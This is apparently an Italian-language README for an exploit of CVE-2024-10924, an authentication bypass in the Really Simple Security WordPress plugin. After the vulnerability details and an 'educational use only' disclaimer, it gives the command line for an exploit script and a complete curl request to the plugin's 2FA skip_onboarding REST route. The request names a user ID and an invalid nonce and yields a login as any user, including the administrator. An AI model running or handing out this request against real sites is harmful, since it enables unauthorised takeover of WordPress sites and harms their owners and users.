Exploit per CVE-2024-10924 (Plugin Really Simple Security per WordPress - Bypass di Autenticazione)

📌 Panoramica

CVE-2024-10924 è una vulnerabilità critica di bypass dell'autenticazione nel plugin Really Simple Security per WordPress (versioni 9.0.0 a 9.1.1.1). Questa vulnerabilità consente a attaccanti non autenticati di accedere come qualsiasi utente (incluso l'amministratore) sfruttando un difetto nell'API di autenticazione a due fattori (2FA).

ID CVE: CVE-2024-10924

Gravità: 🔥 Critica (CVSS 9.8)

Versioni Affette: Really Simple Security 9.0.0 – 9.1.1.1

Versione Correttiva: 9.1.2

Tipo di Exploit: Bypass di Autenticazione

⚠️ Avvertenza

🚨 Questo exploit è solo per scopi educativi e di ricerca sulla sicurezza.

L'uso non autorizzato su sistemi di cui non si è proprietari è illegale. L'obiettivo è aiutare i professionisti della sicurezza a testare e correggere i sistemi vulnerabili.

🔧 Requisiti

Un sito WordPress che esegue una versione vulnerabile del plugin Really Simple Security. Python 3.x o cURL installato per i test. Il nome utente dell'amministratore WordPress target (potrebbe essere necessaria l'enumerazione degli utenti).

Esegui lo script:

python3 exploit.py <url example : http://target.com> <user_id>

manualmente con Curl

curl --request POST "http://{url}/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding" -H "Content-Type: application/json" -d '{"user_id": 1, "login_nonce": "invalid_nonce"}' -v